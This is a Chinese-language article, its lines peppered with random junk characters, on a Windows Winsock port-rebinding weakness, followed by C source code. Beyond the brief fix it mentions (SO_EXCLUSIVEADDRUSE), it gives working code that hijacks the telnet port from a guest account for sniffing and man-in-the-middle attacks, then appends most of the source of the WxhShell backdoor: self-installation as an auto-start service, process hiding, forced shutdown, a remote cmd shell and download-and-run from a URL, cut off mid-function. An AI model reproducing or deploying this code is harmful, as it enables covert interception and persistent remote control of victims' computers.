在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<$$yw=ef s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,8uqdk-D wWP}C D saddr.sin_family = AF_INET;
&|1<v<I5 (8DC}kckE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
&t@jl\ND Ta0|+IYk< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
?!:ha;n \:'/'^=#| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
tY<4%~%X 7nTeP(M% 这意味着什么?意味着可以进行如下的攻击:
B]wk+8SMY. H2\;%K 2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.VJMz4$]O ZQsJL\x[UK 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
1=c\Rr9] ZU4nc3__ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,-c6dS \)904W5R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
M)+H{5bt 6'5 7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%(#y5yJ ] [!uG1 GJ> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U$.@]F4& oulVg]; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
%XDc,AR[ HZB>{O #include
xrz,\eTb #include
aiUY>M#| #include
TER=*"! #include
(t
K||*u DWORD WINAPI ClientThread(LPVOID lpParam);
3S@7]Pg int main()
(N6i4
g6 {
V7Lxfoa4 WORD wVersionRequested;
}'V5/>m[ DWORD ret;
\ a<h/4#| WSADATA wsaData;
k,6f
BOOL val;
/4V#C- SOCKADDR_IN saddr;
t#})Awy^R SOCKADDR_IN scaddr;
.V/Rfq int err;
::lKL SOCKET s;
=[{i{x|Qz SOCKET sc;
33x{CY15 int caddsize;
bHYy }weZ HANDLE mt;
X/!o\yyT DWORD tid;
nwe*BVp wVersionRequested = MAKEWORD( 2, 2 );
8I?Wt
W err = WSAStartup( wVersionRequested, &wsaData );
bdrg(d6 if ( err != 0 ) {
S~bOUdV
Z printf("error!WSAStartup failed!\n");
6dt]`zv/ return -1;
z+wA
rPxc }
G@\1E+Ip saddr.sin_family = AF_INET;
".V$~n( ;-lXU0}& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
81F/G5 ;(/ZO%h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u;"TTN saddr.sin_port = htons(23);
DB|Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U^%Q}'UYym {
\;3~a9q% printf("error!socket failed!\n");
jl$ece5v return -1;
A]0
St@ }
K~{$oD7! val = TRUE;
X6X
$Pve //SO_REUSEADDR选项就是可以实现端口重绑定的
5"@*?X K^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[< ?s?Ci {
;>yxNGV` printf("error!setsockopt failed!\n");
&*,#5. return -1;
hoUD;3 }
.-c4wm} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=E4LRKn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u#$]?($}d //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"Mn6U- H>IMf/%5N- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ay
;S4c/_ {
u@UMP@"# ret=GetLastError();
.CABH,Po: printf("error!bind failed!\n");
VcO0sa f` return -1;
61>.vT8P }
EStB#V^ listen(s,2);
8@Q$'TT6} while(1)
mbxZL<ua {
h$>-.- caddsize = sizeof(scaddr);
9gDkTYkj //接受连接请求
b\kdKVh& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;kQhx6Z if(sc!=INVALID_SOCKET)
f!uw zHA`? {
xd?f2=dd~h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W)2p@j59A if(mt==NULL)
b9J_1Gl] {
]"hFC<w printf("Thread Creat Failed!\n");
OJuG~euy break;
z6=Z\P+ }
Ts[_u@ }
_[c0)2h CloseHandle(mt);
=JEv,ZGT3 }
{ ]{/t-= closesocket(s);
#ym'AN WSACleanup();
>V?eog%~ return 0;
-`kW&I0 }
W0@n/U DWORD WINAPI ClientThread(LPVOID lpParam)
%COX7gV {
eK?MKe SOCKET ss = (SOCKET)lpParam;
t7Iv?5]N SOCKET sc;
HZC"nb}r4 unsigned char buf[4096];
v6bGjVK[ SOCKADDR_IN saddr;
ZF9z~9 long num;
]?kZni8j_ DWORD val;
2\MT;;ZTZ DWORD ret;
{j?FNOJn //如果是隐藏端口应用的话,可以在此处加一些判断
xQ-<WF1i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N1}sHyVq7 saddr.sin_family = AF_INET;
u<tbbKM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
yy^q2P saddr.sin_port = htons(23);
'4+
ur` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-hGk?_Nqa/ {
:Uzm
printf("error!socket failed!\n");
M#4pE_G return -1;
)9{0]u;9 }
\^J%sf${ val = 100;
d9fC<Tp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XH 4 {
NI76U ret = GetLastError();
fP
1[[3i return -1;
mP~QWx![N }
; ; OAQ` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;>EM[u {
>=I|xY, ret = GetLastError();
h6D<go-b56 return -1;
TCwFPlF| }
o4F2%0gJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s^G.]%iU {
3=P]x;[ba printf("error!socket connect failed!\n");
~*&H$6NJS closesocket(sc);
NqazpB* closesocket(ss);
<e=#F-DE return -1;
# Yj 1w }
bQg:zww while(1)
Ha0M)0Anv {
P6'1.R //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
JW83Tp8[8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
h,u,^ r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
PB\(= num = recv(ss,buf,4096,0);
B[Ku\A6& if(num>0)
gZ3u=uME send(sc,buf,num,0);
Xv5wJlc!d else if(num==0)
D[[|")Fn break;
r"gJX num = recv(sc,buf,4096,0);
Pe_W;q. if(num>0)
p?%y82E send(ss,buf,num,0);
P:K5",) else if(num==0)
z1 |TC break;
v!-/&}W)1 }
36&e.3/# closesocket(ss);
1Ti f{i,B closesocket(sc);
TTX5EDCrC return 0 ;
|/|5UiX7 }
b5dD/-Vj E1aHKjLQ KI iO ==========================================================
6EoMt@7g O-0x8 O^B 下边附上一个代码,,WXhSHELL
?DS@e@lx r,8 [O ==========================================================
x/I%2F B?gOHG*vd> #include "stdafx.h"
Drgv`z 6RU~"C #include <stdio.h>
#>("CAB02T #include <string.h>
~|DUt #include <windows.h>
UawyDs #include <winsock2.h>
YlJ@XpKM #include <winsvc.h>
lV3x *4O= #include <urlmon.h>
e{'BAj Fc)@,/R"v #pragma comment (lib, "Ws2_32.lib")
2G& a{ #pragma comment (lib, "urlmon.lib")
d=$Mim Z!a=dnwHz #define MAX_USER 100 // 最大客户端连接数
PfAgM1 #define BUF_SOCK 200 // sock buffer
7FP*oN? #define KEY_BUFF 255 // 输入 buffer
$D~0~gn~ jE.N ev/ #define REBOOT 0 // 重启
!3c\NbU #define SHUTDOWN 1 // 关机
1Z/(G1 a{'vN93 #define DEF_PORT 5000 // 监听端口
g]l''7G )Yh+c=6
? #define REG_LEN 16 // 注册表键长度
gS!:+G% #define SVC_LEN 80 // NT服务名长度
x}wG:K a_^\=&?' // 从dll定义API
/Vx7mF: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
]Grek< typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:".ARCg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]`!>6/[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,a{P4Bq o=:9y-nH // wxhshell配置信息
7JD' ) struct WSCFG {
D#9m\o_ int ws_port; // 监听端口
?um;s-x) char ws_passstr[REG_LEN]; // 口令
wy<S; int ws_autoins; // 安装标记, 1=yes 0=no
dK$XNi13.5 char ws_regname[REG_LEN]; // 注册表键名
%OL$57Ia char ws_svcname[REG_LEN]; // 服务名
^&9zw\x;z char ws_svcdisp[SVC_LEN]; // 服务显示名
Hs;4lSyUO char ws_svcdesc[SVC_LEN]; // 服务描述信息
k{R> char ws_passmsg[SVC_LEN]; // 密码输入提示信息
60^`JVGWH int ws_downexe; // 下载执行标记, 1=yes 0=no
p;`>e>$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
{K~ 'K+TPu char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nY[WRt w 6IN
e@ };
hIYNhZv +[6G5cH // default Wxhshell configuration
/wGM#sFH struct WSCFG wscfg={DEF_PORT,
'|6]_ "xuhuanlingzhe",
@(EAq<5{ 1,
_b
pP50Cu "Wxhshell",
XAD- 'i "Wxhshell",
wyH[x!QX "WxhShell Service",
W]$w@.oW[ "Wrsky Windows CmdShell Service",
H`XUJh "Please Input Your Password: ",
CCs%%U/= 1,
NR$3%0 nC6 "
http://www.wrsky.com/wxhshell.exe",
<`8n^m* "Wxhshell.exe"
t5^{D>S1 };
%?1ew rK8lBy:< // 消息定义模块
XW2b| %T char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ol\Utq, char *msg_ws_prompt="\n\r? for help\n\r#>";
].avItg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<)C#_w)- char *msg_ws_ext="\n\rExit.";
]6k\)#%2 char *msg_ws_end="\n\rQuit.";
f=+mIZ char *msg_ws_boot="\n\rReboot...";
JMCKcZ%N char *msg_ws_poff="\n\rShutdown...";
ydEoC$?0 char *msg_ws_down="\n\rSave to ";
.r=4pQ@# ?>9/#Nv char *msg_ws_err="\n\rErr!";
rET\n(AJ char *msg_ws_ok="\n\rOK!";
x;O[c3I <q58uuK char ExeFile[MAX_PATH];
^`i#$ int nUser = 0;
^x ]r`b HANDLE handles[MAX_USER];
:I] Mps< int OsIsNt;
B9 _X;c !NK1MU?T) SERVICE_STATUS serviceStatus;
~Py`P'+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
wA ,6bj ]6,\r" // 函数声明
O0x,lq int Install(void);
4!{KWL`A int Uninstall(void);
L]|gZ&^ int DownloadFile(char *sURL, SOCKET wsh);
n1ZbRV int Boot(int flag);
(!u~CZ; void HideProc(void);
^cC,.Fdw int GetOsVer(void);
u= *FI int Wxhshell(SOCKET wsl);
c1(RuP:S void TalkWithClient(void *cs);
.|KyNBn int CmdShell(SOCKET sock);
BiLY(1, int StartFromService(void);
G{~J|{t\yz int StartWxhshell(LPSTR lpCmdLine);
(Bb5?fw 5X:AbF VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6D;Sgc5" VOID WINAPI NTServiceHandler( DWORD fdwControl );
G6Axs1a fivw~z|[@ // 数据结构和表定义
nt;m+by SERVICE_TABLE_ENTRY DispatchTable[] =
3)wN))VBX {
b<[Or^X
] {wscfg.ws_svcname, NTServiceMain},
*uRBzO} {NULL, NULL}
=`oCLsz= };
)bL'[h 0@0w+&*"@ // 自我安装
dmtr*pM_ int Install(void)
=osk+uzzG {
GRIti9GD char svExeFile[MAX_PATH];
[T4J{y64Y HKEY key;
)2KF}{ strcpy(svExeFile,ExeFile);
S&5&];Ag H\" sgoJ // 如果是win9x系统,修改注册表设为自启动
s*KhF'fN if(!OsIsNt) {
XAKs0*J> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
h]&GLb&<? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hg]]Ok~cAs RegCloseKey(key);
#6aW9GO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
23eX;gL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BQHVQs RegCloseKey(key);
mkk6`,ov return 0;
dh\'<|\K }
G^|:N[>B }
.[KrlfI }
oAVnK[EMq` else {
wc@X.Q[ e`_LEv // 如果是NT以上系统,安装为系统服务
r| wS<cA2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
s-!ArB, if (schSCManager!=0)
#pow ub {
e;q!6% SC_HANDLE schService = CreateService
w$iX.2|9%u (
@Sn(lnlB schSCManager,
&{n.]]%O. wscfg.ws_svcname,
LzKj=5'Y wscfg.ws_svcdisp,
vkV0On SERVICE_ALL_ACCESS,
a 7V-C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
*!t/"b SERVICE_AUTO_START,
CJx|?yK2 SERVICE_ERROR_NORMAL,
;u
({\K svExeFile,
@tnz]^V NULL,
K:[F%e NULL,
epe)a NULL,
CI0C1/:@ NULL,
|kg7LP3(8, NULL
Y;M|D'y+ );
1z4OI6$Af if (schService!=0)
m4Qh%}9% {
<8&au(I,vB CloseServiceHandle(schService);
a(X@Q8l: CloseServiceHandle(schSCManager);
`UyG_; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'3tCH)s strcat(svExeFile,wscfg.ws_svcname);
1W
LXM^4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!sP{gi#= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wH&!W~M
RegCloseKey(key);
f|c{5$N! return 0;
`wEb<H
}
20 h, ^ }
'3fu CloseServiceHandle(schSCManager);
g}{aZ$sta }
RWZSQ~ }
;7V%#- L|7R9+ZG return 1;
bl;1i@Z*M }
Z]Cq3~l I-*S&SiXjI // 自我卸载
$szqy?i0? int Uninstall(void)
5r|,CQ7o {
B%b4v HKEY key;
hd<c&7|G' }@+0/W?\. if(!OsIsNt) {
:U%W% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;bib/ RegDeleteValue(key,wscfg.ws_regname);
.@U@xRu7| RegCloseKey(key);
^"2J]&x`G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\V8PhO;j RegDeleteValue(key,wscfg.ws_regname);
@o _}g !9= RegCloseKey(key);
*vxk@`K~ return 0;
mxC;?s;~ }
zu{P#~21 }
,!y$qVg'\f }
G 4X|Bka else {
#OD/$f_ ,m:.-iy? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
& l&:`nsJ if (schSCManager!=0)
0&|\N
? 8_ {
E,U+o $ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
kJsN|= if (schService!=0)
&
G4\2l9 {
xF'EiX ~ if(DeleteService(schService)!=0) {
E
A1?)|}n CloseServiceHandle(schService);
zKJ#`OhT CloseServiceHandle(schSCManager);
d#4**BM return 0;
J @1!Oq> }
(exa<hh CloseServiceHandle(schService);
b9HtR -iR; }
6j]0R*B7`Q CloseServiceHandle(schSCManager);
m8hk:4Ae }
/>pI8 g< }
_op}1 6iE<T&$3P return 1;
)yZ^[uJ}3C }
k"zv~`i' z E9W8:7 // 从指定url下载文件
97C]+2R%^ int DownloadFile(char *sURL, SOCKET wsh)
u?(d gJ {
qiD@'Va\ HRESULT hr;
k2tF} char seps[]= "/";
P* BmHz4KL char *token;
)lqAD+9Q char *file;
#a,PZDaE char myURL[MAX_PATH];
BG]#o|KW char myFILE[MAX_PATH];
?X<eV1a Zt{[*~ strcpy(myURL,sURL);
L48_96 token=strtok(myURL,seps);
Hd ={CFip while(token!=NULL)
e\zm7_+i{ {
$>eCqC3 file=token;
{Gk1vcq token=strtok(NULL,seps);
ZG8DIV\D7 }
7#Kn8s
mL{6L? GetCurrentDirectory(MAX_PATH,myFILE);
O;jrCB strcat(myFILE, "\\");
(vJNHY M strcat(myFILE, file);
yjJ5>cg send(wsh,myFILE,strlen(myFILE),0);
@:vwb\azVD send(wsh,"...",3,0);
`kXs;T6& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]Q3ADh if(hr==S_OK)
\?k'4rH return 0;
%XQ(fj> else
-zeG1gr3 return 1;
Jk
n>S#SZ wE`]7mA }
16( QR- AH7}/Rc // 系统电源模块
7.j?U int Boot(int flag)
Fq<A {
V&2l5v HANDLE hToken;
2eY_%Y0 TOKEN_PRIVILEGES tkp;
bwMm#f
o|<!"AD7 if(OsIsNt) {
8wFJ4v3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B%6)}Nl[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Z=o2H Bm7 tkp.PrivilegeCount = 1;
3bH'H*2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aeM+ d`f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:tg)p+KB if(flag==REBOOT) {
&@OT*pNna if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
x
g return 0;
vXZOy%$o }
'_FsvHQ else {
f46t9dxp$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PKiy5D*8p return 0;
=-n}[Y}A }
U!\.]jfS }
[hv~o~q else {
eru.m+\ if(flag==REBOOT) {
fr6fj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;[OH(! return 0;
&}B|"s[ }
[ sjosV else {
4!no~ $b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
W[e$>yK return 0;
/7^4O(iG }
yN(%-u" }
hhc,uJ">! R-d:j^:f return 1;
o]oum,Q }
=GMkR+<) .}~_a76 // win9x进程隐藏模块
v`Oc, void HideProc(void)
c,+:i1IAy {
'I6i,+D/q M%P:n/j HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)1`0PJoHE if ( hKernel != NULL )
w_K1]<Q* {
.p"
xVfi6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$DaNbLV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
r52gn(, FreeLibrary(hKernel);
6mxfLlZ }
; )@~ _F|Ek ;y% return;
(gWm,fI
RZ }
1^JS Dd cU!vsdR3 // 获取操作系统版本
[5Mr@f4I int GetOsVer(void)
~U&AI1t+J {
d|Lj~x| OSVERSIONINFO winfo;
4O!ikmY:t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
12 gU{VD GetVersionEx(&winfo);
S9FE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
.Rs^YZ F return 1;
H8}oIA"b else
@Qt{jI! return 0;
$}<e|3_ }
k>si5'W mGg+.PFsM // 客户端句柄模块
K_Eux rPn int Wxhshell(SOCKET wsl)
5MJS
~( {
#BH*Z( SOCKET wsh;
Ry6@VQ"NLb struct sockaddr_in client;
R`E ~ZWC4V DWORD myID;
$c(nF01 -;WGS o while(nUser<MAX_USER)
B>P{A7Q {
}y gD3:vN7 int nSize=sizeof(client);
tJ$_lk
~6q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
PtiOz
:zV if(wsh==INVALID_SOCKET) return 1;
>7DhTM-A }9}h*RWm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
4zFW-yy if(handles[nUser]==0)
N6i Q8P- closesocket(wsh);
R%[ c;i else
dhK~O.~m nUser++;
#5o(h+w) }
QD]6C2j* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]Gq !`O1 ml
}{|Yz return 0;
z9Rp`z&`E }
3eQ&F~S `*1p0~cu
// 关闭 socket
p>8D;#HmL void CloseIt(SOCKET wsh)
0{-q#/ {
NyNXP_8 closesocket(wsh);
' %o#q6O nUser--;
)MTOU47U ExitThread(0);
#Ki[$bS~6 }
28d'7El$ rf{rpe$ // 客户端请求句柄
?hy& void TalkWithClient(void *cs)
m^;f(IK5 {
Q*ft7$l& }b.%Im<3R SOCKET wsh=(SOCKET)cs;
FJ)$f?=Qd char pwd[SVC_LEN];
n,WqyNt* char cmd[KEY_BUFF];
s`~IUNJ@P char chr[1];
gV_}-VvP int i,j;
4~Q/"hMSkO >}6%#CAf while (nUser < MAX_USER) {
draN0vf &6nWzF if(wscfg.ws_passstr) {
~oY^;/ j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\z(gqkc 6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?^\|-Gr //ZeroMemory(pwd,KEY_BUFF);
Z"fJ`-- i=0;
.U]-j\ while(i<SVC_LEN) {
\LexR.Di 9CD_os\h // 设置超时
H$UcF1k< fd_set FdRead;
~2-1 j struct timeval TimeOut;
*VT/ FD_ZERO(&FdRead);
.eVG:tl\ FD_SET(wsh,&FdRead);
]N F[>uiW TimeOut.tv_sec=8;
7WZ+T"O{I TimeOut.tv_usec=0;
{9q4)R}G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
##" HF if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Oxd]y1 ]~3V}z,T* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
j|#Bo:2km pwd
=chr[0]; 9p(.A$
if(chr[0]==0xd || chr[0]==0xa) { ,Ko!$29[
pwd=0; H"WprHe
break; hkQ"OsU
} $yNS
pNmT0
i++; tK\~A,=
} Ta\tYZj$
'/s)%bc
// 如果是非法用户,关闭 socket Jdj4\ju
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s!$7(Q86R
} #S"nF@
o&$A]ph8X
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _xhax+,! ~
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {3aua:q
c5GuM|*7
while(1) { #KZBsa@p
;NITc
ZeroMemory(cmd,KEY_BUFF); $6SW;d+>n
R8'RA%O9J
// 自动支持客户端 telnet标准 Ds:'Lb
j=0; _I5Y"o
while(j<KEY_BUFF) { P/_['7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j&qub_j"xX
cmd[j]=chr[0]; }*]-jWt1J\
if(chr[0]==0xa || chr[0]==0xd) { gRcQt :
cmd[j]=0; (SAs-
break; [d]9Oa4
} 3h`f 6
j++; $~T4hv :
} <wD-qT W
[/8%3
// 下载文件 nAdf=D'P
if(strstr(cmd,"http://")) { 0<@@?G
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (n_/`dP
if(DownloadFile(cmd,wsh)) 'TB2:W3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _X
x/(.O
else :d'8x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wk_@R=*(\
} --BW9]FW
else { b4N[)%@
7B66]3v
switch(cmd[0]) { '}Z<h?9
' S/gmn
// 帮助 fe_5LC"
case '?': { 3%b6{ie/=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GnJt0 {
break; ]:J$w]\
} }Jj}%XxKs
// 安装 @cXMG6:{
case 'i': { `'7R,
if(Install()) 63IM]J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9Zq{Ysj
else [(7S .5I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Zh%DQ
break; '!B&:X)
} 5\VWC I
// 卸载 7s^'d,P
case 'r': { X 0+vXz{~g
if(Uninstall()) {]4LULq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sK?twg;D*|
else HJ.-Dg5U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KHvYUTY
break; ,Ma^ &ypH
} j^RmrOg,
// 显示 wxhshell 所在路径 NC6&x=!3
case 'p': { H3-hcx54T
char svExeFile[MAX_PATH]; (KZ{^X?a
strcpy(svExeFile,"\n\r"); a/xn'"eli
strcat(svExeFile,ExeFile); 19%imf
send(wsh,svExeFile,strlen(svExeFile),0); @-`*m+$U6
break; 3F^Q51:t
} SNk=b6`9
// 重启 ysnx3(+|
case 'b': { U-k`s[dv
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dk5 1z@
if(Boot(REBOOT)) 'i|YlMFI g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >Y@H4LF;1x
else { M x"\5i
closesocket(wsh); Q^^niVz
ExitThread(0); tw)mepwB
} ^E>3|du]O
break; ~WF\
} 7D_=
// 关机 +G>\-tjSD
case 'd': { +k R4E23:
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qwAT>4
if(Boot(SHUTDOWN)) 4Ftu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!tX<u~2
else { R[+<^s}p/
closesocket(wsh); SOaoo^,O
ExitThread(0); <qt|d&
} +R75v )
break; gf\oC> N
} +R:(_:7
// 获取shell }"%N4(Kd
case 's': { * kh tJ]=
CmdShell(wsh); 6j|{`Zd)G
closesocket(wsh); P@~yx#G
ExitThread(0); 7tCw*t$
break; goWuw}?
} 2y1Sne=<Kb
// 退出 lr&a;aZp
case 'x': { V>rU.Mp
QU
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AFt s(
CloseIt(wsh); %E;'ln4h&,
break; _7y[B&g[r
} #~=RyH
// 离开 \o3gKoL%
case 'q': { m+$VVn3Z}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); KwVbbC3
closesocket(wsh); t"I77aZ$A
WSACleanup(); 1X1dG#:
exit(1); *|HY>U.
break; eS){1
} lH~[f
} *lJxH8 \
} J]r^W)O
m.0*NW
// 提示信息 u:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |k00Z+O(
} z\4.Gm-
} `uTmw^pZX
1G`Pmh@
return; f*
wx<
} fI|$K)K
+ LJ73
!
// shell模块句柄 bW+:C5'
int CmdShell(SOCKET sock) L-&\\{X
{ _,*r_D61S
STARTUPINFO si; KqP#6^ _
ZeroMemory(&si,sizeof(si)); )=(kBWM
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M869MDo
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *qpSXmOz
PROCESS_INFORMATION ProcessInfo; M )(DZ}
char cmdline[]="cmd"; Z4bNV?OH
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LFV%&y|L
return 0; +
>!;i6|
} b\,+f n
tX~w{|k
// 自身启动模式 wb ;xRP"w
int StartFromService(void) qmP].sA
{ ]eV8b*d6
typedef struct K:WDl;8(d
{ 'Z]w^<
DWORD ExitStatus; g0E'g
DWORD PebBaseAddress; I]_5}[I
DWORD AffinityMask; :rP=t ,
DWORD BasePriority; asqV~n
ULONG UniqueProcessId; 9A#i_#[R
